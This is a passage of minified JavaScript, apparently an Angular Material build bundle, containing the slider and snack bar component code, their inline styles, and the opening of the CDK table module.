E.JH:this._increment(-1);break;default:return}Oe!=this.value&&(this._emitInputEvent(),this._emitChangeEvent()),this._isSliding="keyboard",le.preventDefault()}_onKeyup(){"keyboard"===this._isSliding&&(this._isSliding=null)}_getWindow(){return this._document.defaultView||window}_bindGlobalEvents(le){const Oe=this._document,Qe=se(le),qe=Qe?"touchend":"mouseup";Oe.addEventListener(Qe?"touchmove":"mousemove",this._pointerMove,z),Oe.addEventListener(qe,this._pointerUp,z),Qe&&Oe.addEventListener("touchcancel",this._pointerUp,z);const Ke=this._getWindow();typeof Ke<"u"&&Ke&&Ke.addEventListener("blur",this._windowBlur)}_removeGlobalEvents(){const le=this._document;le.removeEventListener("mousemove",this._pointerMove,z),le.removeEventListener("mouseup",this._pointerUp,z),le.removeEventListener("touchmove",this._pointerMove,z),le.removeEventListener("touchend",this._pointerUp,z),le.removeEventListener("touchcancel",this._pointerUp,z);const Oe=this._getWindow();typeof Oe<"u"&&Oe&&Oe.removeEventListener("blur",this._windowBlur)}_increment(le){const Oe=this._clamp(this.value||0,this.min,this.max);this.value=this._clamp(Oe+this.step*le,this.min,this.max)}_updateValueFromPosition(le){if(!this._sliderDimensions)return;let qe=this._clamp(((this.vertical?le.y:le.x)-(this.vertical?this._sliderDimensions.top:this._sliderDimensions.left))/(this.vertical?this._sliderDimensions.height:this._sliderDimensions.width));if(this._shouldInvertMouseCoords()&&(qe=1-qe),0===qe)this.value=this.min;else if(1===qe)this.value=this.max;else{const Ke=this._calculateValue(qe),dt=Math.round((Ke-this.min)/this.step)*this.step+this.min;this.value=this._clamp(dt,this.min,this.max)}}_emitChangeEvent(){this._controlValueAccessorChangeFn(this.value),this.valueChange.emit(this.value),this.change.emit(this._createChangeEvent())}_emitInputEvent(){this.input.emit(this._createChangeEvent())}_updateTickIntervalPercent(){if(!this.tickInterval||!this._sliderDimensions)return;let le;if("auto"==this.tickInterval){let Oe=this.vertical?this._sliderDimensions.height:this._sliderDimensions.width;le=Math.ceil(30/(Oe*this.step/(this.max-this.min)))*this.step/Oe}else le=this.tickInterval*this.step/(this.max-this.min);this._tickIntervalPercent=K(le)?le:0}_createChangeEvent(le=this.value){let Oe=new oe;return Oe.source=this,Oe.value=le,Oe}_calculatePercentage(le){const Oe=((le||0)-this.min)/(this.max-this.min);return K(Oe)?Oe:0}_calculateValue(le){return this.min+le*(this.max-this.min)}_clamp(le,Oe=0,Qe=1){return Math.max(Oe,Math.min(le,Qe))}_getSliderDimensions(){return this._sliderWrapper?this._sliderWrapper.nativeElement.getBoundingClientRect():null}_focusHostElement(le){this._elementRef.nativeElement.focus(le)}_blurHostElement(){this._elementRef.nativeElement.blur()}writeValue(le){this.value=le}registerOnChange(le){this._controlValueAccessorChangeFn=le}registerOnTouched(le){this.onTouched=le}setDisabledState(le){this.disabled=le}}return je.\\u0275fac=function(le){return new(le||je)(a.Y36(a.SBq),a.Y36(u.tE),a.Y36(a.sBO),a.Y36(c.Is,8),a.$8M("tabindex"),a.Y36(a.R0b),a.Y36(n.K0),a.Y36(a.QbO,8))},je.\\u0275cmp=a.Xpm({type:je,selectors:[["mat-slider"]],viewQuery:function(le,Oe){if(1&le&&a.Gf(C,5),2&le){let Qe;a.iGM(Qe=a.CRH())&&(Oe._sliderWrapper=Qe.first)}},hostAttrs:["role","slider",1,"mat-slider","mat-focus-indicator"],hostVars:29,hostBindings:function(le,Oe){1&le&&a.NdJ("focus",function(){return Oe._onFocus()})("blur",function(){return Oe._onBlur()})("keydown",function(Ye){return Oe._onKeydown(Ye)})("keyup",function(){return Oe._onKeyup()})("mouseenter",function(){return Oe._onMouseenter()})("selectstart",function(Ye){return Ye.preventDefault()}),2&le&&(a.Ikx("tabIndex",Oe.tabIndex),a.uIk("aria-disabled",Oe.disabled)("aria-valuemax",Oe.max)("aria-valuemin",Oe.min)("aria-valuenow",Oe.value)("aria-valuetext",null==Oe.valueText?Oe.displayValue:Oe.valueText)("aria-orientation",Oe.vertical?"vertical":"horizontal"),a.ekj("mat-slider-disabled",Oe.disabled)("mat-slider-has-ticks",Oe.tickInterval)("mat-slider-horizontal",!Oe.vertical)("mat-slider-axis-inverted",Oe._shouldInvertAxis())("mat-slider-invert-mouse-coords",Oe._shouldInvertMouseCoords())("mat-slider-sliding",Oe._isSliding)("mat-slider-thumb-label-showing",Oe.thumbLabel)("mat-slider-vertical",Oe.vertical)("mat-slider-min-value",Oe._isMinValue())("mat-slider-hide-last-tick",Oe.disabled||Oe._isMinValue()&&Oe._getThumbGap()&&Oe._shouldInvertAxis())("_mat-animation-noopable","NoopAnimations"===Oe._animationMode))},inputs:{disabled:"disabled",color:"color",tabIndex:"tabIndex",invert:"invert",max:"max",min:"min",step:"step",thumbLabel:"thumbLabel",tickInterval:"tickInterval",value:"value",displayWith:"displayWith",valueText:"valueText",vertical:"vertical"},outputs:{change:"change",input:"input",valueChange:"valueChange"},exportAs:["matSlider"],features:[a._Bn([Q]),a.qOj],decls:13,vars:6,consts:[[1,"mat-slider-wrapper"],["sliderWrapper",""],[1,"mat-slider-track-wrapper"],[1,"mat-slider-track-background",3,"ngStyle"],[1,"mat-slider-track-fill",3,"ngStyle"],[1,"mat-slider-ticks-container",3,"ngStyle"],[1,"mat-slider-ticks",3,"ngStyle"],[1,"mat-slider-thumb-container",3,"ngStyle"],[1,"mat-slider-focus-ring"],[1,"mat-slider-thumb"],[1,"mat-slider-thumb-label"],[1,"mat-slider-thumb-label-text"]],template:function(le,Oe){1&le&&(a.TgZ(0,"div",0,1)(2,"div",2),a._UZ(3,"div",3)(4,"div",4),a.qZA(),a.TgZ(5,"div",5),a._UZ(6,"div",6),a.qZA(),a.TgZ(7,"div",7),a._UZ(8,"div",8)(9,"div",9),a.TgZ(10,"div",10)(11,"span",11),a._uU(12),a.qZA()()()()),2&le&&(a.xp6(3),a.Q6J("ngStyle",Oe._getTrackBackgroundStyles()),a.xp6(1),a.Q6J("ngStyle",Oe._getTrackFillStyles()),a.xp6(1),a.Q6J("ngStyle",Oe._getTicksContainerStyles()),a.xp6(1),a.Q6J("ngStyle",Oe._getTicksStyles()),a.xp6(1),a.Q6J("ngStyle",Oe._getThumbContainerStyles()),a.xp6(5),a.Oqu(Oe.displayValue))},dependencies:[n.PC],styles:[\'.mat-slider{display:inline-block;position:relative;box-sizing:border-box;padding:8px;outline:none;vertical-align:middle}.mat-slider:not(.mat-slider-disabled):active,.mat-slider.mat-slider-sliding:not(.mat-slider-disabled){cursor:grabbing}.mat-slider-wrapper{-webkit-print-color-adjust:exact;color-adjust:exact;position:absolute}.mat-slider-track-wrapper{position:absolute;top:0;left:0;overflow:hidden}.mat-slider-track-fill{position:absolute;transform-origin:0 0;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-track-background{position:absolute;transform-origin:100% 100%;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-ticks-container{position:absolute;left:0;top:0;overflow:hidden}.mat-slider-ticks{-webkit-background-clip:content-box;background-clip:content-box;background-repeat:repeat;box-sizing:border-box;opacity:0;transition:opacity 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-thumb-container{position:absolute;z-index:1;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-focus-ring{position:absolute;width:30px;height:30px;border-radius:50%;transform:scale(0);opacity:0;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 400ms cubic-bezier(0.25, 0.8, 0.25, 1),opacity 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider.cdk-keyboard-focused .mat-slider-focus-ring,.mat-slider.cdk-program-focused .mat-slider-focus-ring{transform:scale(1);opacity:1}.mat-slider:not(.mat-slider-disabled):not(.mat-slider-sliding) .mat-slider-thumb-label,.mat-slider:not(.mat-slider-disabled):not(.mat-slider-sliding) .mat-slider-thumb{cursor:grab}.mat-slider-thumb{position:absolute;right:-10px;bottom:-10px;box-sizing:border-box;width:20px;height:20px;border:3px solid rgba(0,0,0,0);border-radius:50%;transform:scale(0.7);transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 400ms cubic-bezier(0.25, 0.8, 0.25, 1),border-color 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-thumb-label{display:none;align-items:center;justify-content:center;position:absolute;width:28px;height:28px;border-radius:50%;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),border-radius 400ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.cdk-high-contrast-active .mat-slider-thumb-label{outline:solid 1px}.mat-slider-thumb-label-text{z-index:1;opacity:0;transition:opacity 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-sliding .mat-slider-track-fill,.mat-slider-sliding .mat-slider-track-background,.mat-slider-sliding .mat-slider-thumb-container{transition-duration:0ms}.mat-slider-has-ticks .mat-slider-wrapper::after{content:"";position:absolute;border-width:0;border-style:solid;opacity:0;transition:opacity 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-has-ticks.cdk-focused:not(.mat-slider-hide-last-tick) .mat-slider-wrapper::after,.mat-slider-has-ticks:hover:not(.mat-slider-hide-last-tick) .mat-slider-wrapper::after{opacity:1}.mat-slider-has-ticks.cdk-focused:not(.mat-slider-disabled) .mat-slider-ticks,.mat-slider-has-ticks:hover:not(.mat-slider-disabled) .mat-slider-ticks{opacity:1}.mat-slider-thumb-label-showing .mat-slider-focus-ring{display:none}.mat-slider-thumb-label-showing .mat-slider-thumb-label{display:flex}.mat-slider-axis-inverted .mat-slider-track-fill{transform-origin:100% 100%}.mat-slider-axis-inverted .mat-slider-track-background{transform-origin:0 0}.mat-slider:not(.mat-slider-disabled).cdk-focused.mat-slider-thumb-label-showing .mat-slider-thumb{transform:scale(0)}.mat-slider:not(.mat-slider-disabled).cdk-focused .mat-slider-thumb-label{border-radius:50% 50% 0}.mat-slider:not(.mat-slider-disabled).cdk-focused .mat-slider-thumb-label-text{opacity:1}.mat-slider:not(.mat-slider-disabled).cdk-mouse-focused .mat-slider-thumb,.mat-slider:not(.mat-slider-disabled).cdk-touch-focused .mat-slider-thumb,.mat-slider:not(.mat-slider-disabled).cdk-program-focused .mat-slider-thumb{border-width:2px;transform:scale(1)}.mat-slider-disabled .mat-slider-focus-ring{transform:scale(0);opacity:0}.mat-slider-disabled .mat-slider-thumb{border-width:4px;transform:scale(0.5)}.mat-slider-disabled .mat-slider-thumb-label{display:none}.mat-slider-horizontal{height:48px;min-width:128px}.mat-slider-horizontal .mat-slider-wrapper{height:2px;top:23px;left:8px;right:8px}.mat-slider-horizontal .mat-slider-wrapper::after{height:2px;border-left-width:2px;right:0;top:0}.mat-slider-horizontal .mat-slider-track-wrapper{height:2px;width:100%}.mat-slider-horizontal .mat-slider-track-fill{height:2px;width:100%;transform:scaleX(0)}.mat-slider-horizontal .mat-slider-track-background{height:2px;width:100%;transform:scaleX(1)}.mat-slider-horizontal .mat-slider-ticks-container{height:2px;width:100%}.cdk-high-contrast-active .mat-slider-horizontal .mat-slider-ticks-container{height:0;outline:solid 2px;top:1px}.mat-slider-horizontal .mat-slider-ticks{height:2px;width:100%}.mat-slider-horizontal .mat-slider-thumb-container{width:100%;height:0;top:50%}.mat-slider-horizontal .mat-slider-focus-ring{top:-15px;right:-15px}.mat-slider-horizontal .mat-slider-thumb-label{right:-14px;top:-40px;transform:translateY(26px) scale(0.01) rotate(45deg)}.mat-slider-horizontal .mat-slider-thumb-label-text{transform:rotate(-45deg)}.mat-slider-horizontal.cdk-focused .mat-slider-thumb-label{transform:rotate(45deg)}.cdk-high-contrast-active .mat-slider-horizontal.cdk-focused .mat-slider-thumb-label,.cdk-high-contrast-active .mat-slider-horizontal.cdk-focused .mat-slider-thumb-label-text{transform:none}.mat-slider-vertical{width:48px;min-height:128px}.mat-slider-vertical .mat-slider-wrapper{width:2px;top:8px;bottom:8px;left:23px}.mat-slider-vertical .mat-slider-wrapper::after{width:2px;border-top-width:2px;bottom:0;left:0}.mat-slider-vertical .mat-slider-track-wrapper{height:100%;width:2px}.mat-slider-vertical .mat-slider-track-fill{height:100%;width:2px;transform:scaleY(0)}.mat-slider-vertical .mat-slider-track-background{height:100%;width:2px;transform:scaleY(1)}.mat-slider-vertical .mat-slider-ticks-container{width:2px;height:100%}.cdk-high-contrast-active .mat-slider-vertical .mat-slider-ticks-container{width:0;outline:solid 2px;left:1px}.mat-slider-vertical .mat-slider-focus-ring{bottom:-15px;left:-15px}.mat-slider-vertical .mat-slider-ticks{width:2px;height:100%}.mat-slider-vertical .mat-slider-thumb-container{height:100%;width:0;left:50%}.mat-slider-vertical .mat-slider-thumb{-webkit-backface-visibility:hidden;backface-visibility:hidden}.mat-slider-vertical .mat-slider-thumb-label{bottom:-14px;left:-40px;transform:translateX(26px) scale(0.01) rotate(-45deg)}.mat-slider-vertical .mat-slider-thumb-label-text{transform:rotate(45deg)}.mat-slider-vertical.cdk-focused .mat-slider-thumb-label{transform:rotate(-45deg)}[dir=rtl] .mat-slider-wrapper::after{left:0;right:auto}[dir=rtl] .mat-slider-horizontal .mat-slider-track-fill{transform-origin:100% 100%}[dir=rtl] .mat-slider-horizontal .mat-slider-track-background{transform-origin:0 0}[dir=rtl] .mat-slider-horizontal.mat-slider-axis-inverted .mat-slider-track-fill{transform-origin:0 0}[dir=rtl] .mat-slider-horizontal.mat-slider-axis-inverted .mat-slider-track-background{transform-origin:100% 100%}.mat-slider._mat-animation-noopable .mat-slider-track-fill,.mat-slider._mat-animation-noopable .mat-slider-track-background,.mat-slider._mat-animation-noopable .mat-slider-ticks,.mat-slider._mat-animation-noopable .mat-slider-thumb-container,.mat-slider._mat-animation-noopable .mat-slider-focus-ring,.mat-slider._mat-animation-noopable .mat-slider-thumb,.mat-slider._mat-animation-noopable .mat-slider-thumb-label,.mat-slider._mat-animation-noopable .mat-slider-thumb-label-text,.mat-slider._mat-animation-noopable .mat-slider-has-ticks .mat-slider-wrapper::after{transition:none}\'],encapsulation:2,changeDetection:0}),je})();function K(je){return!isNaN(je)&&isFinite(je)}function se(je){return"t"===je.type[0]}function ee(je,Ze){let le;return le=se(je)?"number"==typeof Ze?q(je.touches,Ze)||q(je.changedTouches,Ze):je.touches[0]||je.changedTouches[0]:je,le?{x:le.clientX,y:le.clientY}:void 0}function q(je,Ze){for(let le=0;le<je.length;le++)if(je[le].identifier===Ze)return je[le]}let ce=(()=>{class je{}return je.\\u0275fac=function(le){return new(le||je)},je.\\u0275mod=a.oAB({type:je}),je.\\u0275inj=a.cJS({imports:[n.ez,s.BQ,s.BQ]}),je})()},7009:(At,ae,d)=>{"use strict";d.d(ae,{ZX:()=>q,ux:()=>Ze});var n=d(8184),a=d(4080),s=d(6895),u=d(4650),c=d(3238),f=d(4859),E=d(8929),_=d(3353),S=d(2986),g=d(7625),C=d(7340),z=d(2687),H=d(2289);function j(le,Oe){if(1&le){const Qe=u.EpF();u.TgZ(0,"div",2)(1,"button",3),u.NdJ("click",function(){u.CHM(Qe);const qe=u.oxw();return u.KtG(qe.action())}),u._uU(2),u.qZA()()}if(2&le){const Qe=u.oxw();u.xp6(2),u.Oqu(Qe.data.action)}}function U(le,Oe){}const G=new u.OlP("MatSnackBarData");class Q{constructor(){this.politeness="assertive",this.announcementMessage="",this.duration=0,this.data=null,this.horizontalPosition="center",this.verticalPosition="bottom"}}const oe=Math.pow(2,31)-1;class Ce{constructor(Oe,Qe){this._overlayRef=Qe,this._afterDismissed=new E.xQ,this._afterOpened=new E.xQ,this._onAction=new E.xQ,this._dismissedByAction=!1,this.containerInstance=Oe,Oe._onExit.subscribe(()=>this._finishDismiss())}dismiss(){this._afterDismissed.closed||this.containerInstance.exit(),clearTimeout(this._durationTimeoutId)}dismissWithAction(){this._onAction.closed||(this._dismissedByAction=!0,this._onAction.next(),this._onAction.complete(),this.dismiss()),clearTimeout(this._durationTimeoutId)}closeWithAction(){this.dismissWithAction()}_dismissAfter(Oe){this._durationTimeoutId=setTimeout(()=>this.dismiss(),Math.min(Oe,oe))}_open(){this._afterOpened.closed||(this._afterOpened.next(),this._afterOpened.complete())}_finishDismiss(){this._overlayRef.dispose(),this._onAction.closed||this._onAction.complete(),this._afterDismissed.next({dismissedByAction:this._dismissedByAction}),this._afterDismissed.complete(),this._dismissedByAction=!1}afterDismissed(){return this._afterDismissed}afterOpened(){return this.containerInstance._onEnter}onAction(){return this._onAction}}let k=(()=>{class le{constructor(Qe,Ye){this.snackBarRef=Qe,this.data=Ye}action(){this.snackBarRef.dismissWithAction()}get hasAction(){return!!this.data.action}}return le.\\u0275fac=function(Qe){return new(Qe||le)(u.Y36(Ce),u.Y36(G))},le.\\u0275cmp=u.Xpm({type:le,selectors:[["simple-snack-bar"]],hostAttrs:[1,"mat-simple-snackbar"],decls:3,vars:2,consts:[[1,"mat-simple-snack-bar-content"],["class","mat-simple-snackbar-action",4,"ngIf"],[1,"mat-simple-snackbar-action"],["mat-button","",3,"click"]],template:function(Qe,Ye){1&Qe&&(u.TgZ(0,"span",0),u._uU(1),u.qZA(),u.YNc(2,j,3,1,"div",1)),2&Qe&&(u.xp6(1),u.Oqu(Ye.data.message),u.xp6(1),u.Q6J("ngIf",Ye.hasAction))},dependencies:[s.O5,f.lW],styles:[".mat-simple-snackbar{display:flex;justify-content:space-between;align-items:center;line-height:20px;opacity:1}.mat-simple-snackbar-action{flex-shrink:0;margin:-8px -8px -8px 8px}.mat-simple-snackbar-action button{max-height:36px;min-width:0}[dir=rtl] .mat-simple-snackbar-action{margin-left:-8px;margin-right:8px}.mat-simple-snack-bar-content{overflow:hidden;text-overflow:ellipsis}"],encapsulation:2,changeDetection:0}),le})();const K={snackBarState:(0,C.X$)("state",[(0,C.SB)("void, hidden",(0,C.oB)({transform:"scale(0.8)",opacity:0})),(0,C.SB)("visible",(0,C.oB)({transform:"scale(1)",opacity:1})),(0,C.eR)("* => visible",(0,C.jt)("150ms cubic-bezier(0, 0, 0.2, 1)")),(0,C.eR)("* => void, * => hidden",(0,C.jt)("75ms cubic-bezier(0.4, 0.0, 1, 1)",(0,C.oB)({opacity:0})))])};let se=(()=>{class le extends a.en{constructor(Qe,Ye,qe,Ke,dt){super(),this._ngZone=Qe,this._elementRef=Ye,this._changeDetectorRef=qe,this._platform=Ke,this.snackBarConfig=dt,this._announceDelay=150,this._destroyed=!1,this._onAnnounce=new E.xQ,this._onExit=new E.xQ,this._onEnter=new E.xQ,this._animationState="void",this.attachDomPortal=bt=>{this._assertNotAttached();const ze=this._portalOutlet.attachDomPortal(bt);return this._afterPortalAttached(),ze},this._live="assertive"!==dt.politeness||dt.announcementMessage?"off"===dt.politeness?"off":"polite":"assertive",this._platform.FIREFOX&&("polite"===this._live&&(this._role="status"),"assertive"===this._live&&(this._role="alert"))}attachComponentPortal(Qe){this._assertNotAttached();const Ye=this._portalOutlet.attachComponentPortal(Qe);return this._afterPortalAttached(),Ye}attachTemplatePortal(Qe){this._assertNotAttached();const Ye=this._portalOutlet.attachTemplatePortal(Qe);return this._afterPortalAttached(),Ye}onAnimationEnd(Qe){const{fromState:Ye,toState:qe}=Qe;if(("void"===qe&&"void"!==Ye||"hidden"===qe)&&this._completeExit(),"visible"===qe){const Ke=this._onEnter;this._ngZone.run(()=>{Ke.next(),Ke.complete()})}}enter(){this._destroyed||(this._animationState="visible",this._changeDetectorRef.detectChanges(),this._screenReaderAnnounce())}exit(){return this._ngZone.run(()=>{this._animationState="hidden",this._elementRef.nativeElement.setAttribute("mat-exit",""),clearTimeout(this._announceTimeoutId)}),this._onExit}ngOnDestroy(){this._destroyed=!0,this._completeExit()}_completeExit(){this._ngZone.onMicrotaskEmpty.pipe((0,S.q)(1)).subscribe(()=>{this._ngZone.run(()=>{this._onExit.next(),this._onExit.complete()})})}_afterPortalAttached(){const Qe=this._elementRef.nativeElement,Ye=this.snackBarConfig.panelClass;Ye&&(Array.isArray(Ye)?Ye.forEach(qe=>Qe.classList.add(qe)):Qe.classList.add(Ye))}_assertNotAttached(){this._portalOutlet.hasAttached()}_screenReaderAnnounce(){this._announceTimeoutId||this._ngZone.runOutsideAngular(()=>{this._announceTimeoutId=setTimeout(()=>{const Qe=this._elementRef.nativeElement.querySelector("[aria-hidden]"),Ye=this._elementRef.nativeElement.querySelector("[aria-live]");if(Qe&&Ye){let qe=null;this._platform.isBrowser&&document.activeElement instanceof HTMLElement&&Qe.contains(document.activeElement)&&(qe=document.activeElement),Qe.removeAttribute("aria-hidden"),Ye.appendChild(Qe),qe?.focus(),this._onAnnounce.next(),this._onAnnounce.complete()}},this._announceDelay)})}}return le.\\u0275fac=function(Qe){return new(Qe||le)(u.Y36(u.R0b),u.Y36(u.SBq),u.Y36(u.sBO),u.Y36(_.t4),u.Y36(Q))},le.\\u0275dir=u.lG2({type:le,viewQuery:function(Qe,Ye){if(1&Qe&&u.Gf(a.Pl,7),2&Qe){let qe;u.iGM(qe=u.CRH())&&(Ye._portalOutlet=qe.first)}},features:[u.qOj]}),le})(),ee=(()=>{class le extends se{_afterPortalAttached(){super._afterPortalAttached(),"center"===this.snackBarConfig.horizontalPosition&&this._elementRef.nativeElement.classList.add("mat-snack-bar-center"),"top"===this.snackBarConfig.verticalPosition&&this._elementRef.nativeElement.classList.add("mat-snack-bar-top")}}return le.\\u0275fac=function(){let Oe;return function(Ye){return(Oe||(Oe=u.n5z(le)))(Ye||le)}}(),le.\\u0275cmp=u.Xpm({type:le,selectors:[["snack-bar-container"]],hostAttrs:[1,"mat-snack-bar-container"],hostVars:1,hostBindings:function(Qe,Ye){1&Qe&&u.WFA("@state.done",function(Ke){return Ye.onAnimationEnd(Ke)}),2&Qe&&u.d8E("@state",Ye._animationState)},features:[u.qOj],decls:3,vars:2,consts:[["aria-hidden","true"],["cdkPortalOutlet",""]],template:function(Qe,Ye){1&Qe&&(u.TgZ(0,"div",0),u.YNc(1,U,0,0,"ng-template",1),u.qZA(),u._UZ(2,"div")),2&Qe&&(u.xp6(2),u.uIk("aria-live",Ye._live)("role",Ye._role))},dependencies:[a.Pl],styles:[".mat-snack-bar-container{border-radius:4px;box-sizing:border-box;display:block;margin:24px;max-width:33vw;min-width:344px;padding:14px 16px;min-height:48px;transform-origin:center}.cdk-high-contrast-active .mat-snack-bar-container{border:solid 1px}.mat-snack-bar-handset{width:100%}.mat-snack-bar-handset .mat-snack-bar-container{margin:8px;max-width:100%;min-width:0;width:100%}"],encapsulation:2,data:{animation:[K.snackBarState]}}),le})(),q=(()=>{class le{}return le.\\u0275fac=function(Qe){return new(Qe||le)},le.\\u0275mod=u.oAB({type:le}),le.\\u0275inj=u.cJS({imports:[n.U8,a.eL,s.ez,f.ot,c.BQ,c.BQ]}),le})();const we=new u.OlP("mat-snack-bar-default-options",{providedIn:"root",factory:function ce(){return new Q}});let je=(()=>{class le{constructor(Qe,Ye,qe,Ke,dt,bt){this._overlay=Qe,this._live=Ye,this._injector=qe,this._breakpointObserver=Ke,this._parentSnackBar=dt,this._defaultConfig=bt,this._snackBarRefAtThisLevel=null}get _openedSnackBarRef(){const Qe=this._parentSnackBar;return Qe?Qe._openedSnackBarRef:this._snackBarRefAtThisLevel}set _openedSnackBarRef(Qe){this._parentSnackBar?this._parentSnackBar._openedSnackBarRef=Qe:this._snackBarRefAtThisLevel=Qe}openFromComponent(Qe,Ye){return this._attach(Qe,Ye)}openFromTemplate(Qe,Ye){return this._attach(Qe,Ye)}open(Qe,Ye="",qe){const Ke={...this._defaultConfig,...qe};return Ke.data={message:Qe,action:Ye},Ke.announcementMessage===Qe&&(Ke.announcementMessage=void 0),this.openFromComponent(this.simpleSnackBarComponent,Ke)}dismiss(){this._openedSnackBarRef&&this._openedSnackBarRef.dismiss()}ngOnDestroy(){this._snackBarRefAtThisLevel&&this._snackBarRefAtThisLevel.dismiss()}_attachSnackBarContainer(Qe,Ye){const Ke=u.zs3.create({parent:Ye&&Ye.viewContainerRef&&Ye.viewContainerRef.injector||this._injector,providers:[{provide:Q,useValue:Ye}]}),dt=new a.C5(this.snackBarContainerComponent,Ye.viewContainerRef,Ke),bt=Qe.attach(dt);return bt.instance.snackBarConfig=Ye,bt.instance}_attach(Qe,Ye){const qe={...new Q,...this._defaultConfig,...Ye},Ke=this._createOverlay(qe),dt=this._attachSnackBarContainer(Ke,qe),bt=new Ce(dt,Ke);if(Qe instanceof u.Rgc){const ze=new a.UE(Qe,null,{$implicit:qe.data,snackBarRef:bt});bt.instance=dt.attachTemplatePortal(ze)}else{const ze=this._createInjector(qe,bt),De=new a.C5(Qe,void 0,ze),re=dt.attachComponentPortal(De);bt.instance=re.instance}return this._breakpointObserver.observe(H.u3.HandsetPortrait).pipe((0,g.R)(Ke.detachments())).subscribe(ze=>{Ke.overlayElement.classList.toggle(this.handsetCssClass,ze.matches)}),qe.announcementMessage&&dt._onAnnounce.subscribe(()=>{this._live.announce(qe.announcementMessage,qe.politeness)}),this._animateSnackBar(bt,qe),this._openedSnackBarRef=bt,this._openedSnackBarRef}_animateSnackBar(Qe,Ye){Qe.afterDismissed().subscribe(()=>{this._openedSnackBarRef==Qe&&(this._openedSnackBarRef=null),Ye.announcementMessage&&this._live.clear()}),this._openedSnackBarRef?(this._openedSnackBarRef.afterDismissed().subscribe(()=>{Qe.containerInstance.enter()}),this._openedSnackBarRef.dismiss()):Qe.containerInstance.enter(),Ye.duration&&Ye.duration>0&&Qe.afterOpened().subscribe(()=>Qe._dismissAfter(Ye.duration))}_createOverlay(Qe){const Ye=new n.X_;Ye.direction=Qe.direction;let qe=this._overlay.position().global();const Ke="rtl"===Qe.direction,dt="left"===Qe.horizontalPosition||"start"===Qe.horizontalPosition&&!Ke||"end"===Qe.horizontalPosition&&Ke,bt=!dt&&"center"!==Qe.horizontalPosition;return dt?qe.left("0"):bt?qe.right("0"):qe.centerHorizontally(),"top"===Qe.verticalPosition?qe.top("0"):qe.bottom("0"),Ye.positionStrategy=qe,this._overlay.create(Ye)}_createInjector(Qe,Ye){return u.zs3.create({parent:Qe&&Qe.viewContainerRef&&Qe.viewContainerRef.injector||this._injector,providers:[{provide:Ce,useValue:Ye},{provide:G,useValue:Qe.data}]})}}return le.\\u0275fac=function(Qe){return new(Qe||le)(u.LFG(n.aV),u.LFG(z.Kd),u.LFG(u.zs3),u.LFG(H.Yg),u.LFG(le,12),u.LFG(we))},le.\\u0275prov=u.Yz7({token:le,factory:le.\\u0275fac}),le})(),Ze=(()=>{class le extends je{constructor(Qe,Ye,qe,Ke,dt,bt){super(Qe,Ye,qe,Ke,dt,bt),this.simpleSnackBarComponent=k,this.snackBarContainerComponent=ee,this.handsetCssClass="mat-snack-bar-handset"}}return le.\\u0275fac=function(Qe){return new(Qe||le)(u.LFG(n.aV),u.LFG(z.Kd),u.LFG(u.zs3),u.LFG(H.Yg),u.LFG(le,12),u.LFG(we))},le.\\u0275prov=u.Yz7({token:le,factory:le.\\u0275fac,providedIn:q}),le})()},671:(At,ae,d)=>{"use strict";d.d(ae,{ev:()=>at,Dz:()=>Ct,w1:()=>nt,yh:()=>Ee,mD:()=>pt,Q2:()=>Rt,Ke:()=>ot,ge:()=>fe,fO:()=>jt,XQ:()=>ut,as:()=>Se,Gk:()=>Zt,nj:()=>Ne,BZ:()=>mt,by:()=>on,p0:()=>gn});var n=d(4650),a=d(445),s=d(1281),u=d(5017),c=d(3353),f=d(7261),E=d(6895),_=d(8929),S=d(5254),g=d(591),C=d(4715),z=d(1086),H=d(7625),j=d(2986);const U=[[["caption"]],[["colgroup"],["col"]]],G=["caption","colgroup, col"];function Ce(Ge){return class extends Ge{constructor(...vt){super(...vt),this._sticky=!1,this._hasStickyChanged=!1}get sticky(){return this._sticky}set sticky(vt){const Me=this._sticky;this._sticky=(0,s.Ig)(vt),this._hasStickyChanged=Me!==this._sticky}hasStickyChanged(){const vt=this._hasStickyChanged;return this._hasStickyChanged=!1,vt}resetStickyChanged(){this._hasStickyChanged=!1}}}const k=new n.OlP("CDK_TABLE");let se=(()=>{class Ge{constructor(Me){this.template=Me}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.Rgc))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","cdkCellDef",""]]}),Ge})(),ee=(()=>{class Ge{constructor(Me){this.template=Me}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.Rgc))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","cdkHeaderCellDef",""]]}),Ge})(),q=(()=>{class Ge{constructor(Me){this.template=Me}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.Rgc))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","cdkFooterCellDef",""]]}),Ge})();class we{}const ce=Ce(we);let je=(()=>{class Ge extends ce{constructor(Me){super(),this._table=Me,this._stickyEnd=!1}get name(){return this._name}set name(Me){this._setNameInput(Me)}get stickyEnd(){return this._stickyEnd}set stickyEnd(Me){const O=this._stickyEnd;this._stickyEnd=(0,s.Ig)(Me),this._hasStickyChanged=O!==this._stickyEnd}_updateColumnCssClassName(){this._columnCssClassName=[`cdk-column-${this.cssClassFriendlyName}`]}_setNameInput(Me){Me&&(this._name=Me,this.cssClassFriendlyName=Me.replace(/[^a-z0-9_-]/gi,"-"),this._updateColumnCssClassName())}}return Ge.\\u0275fac=function(Me){return 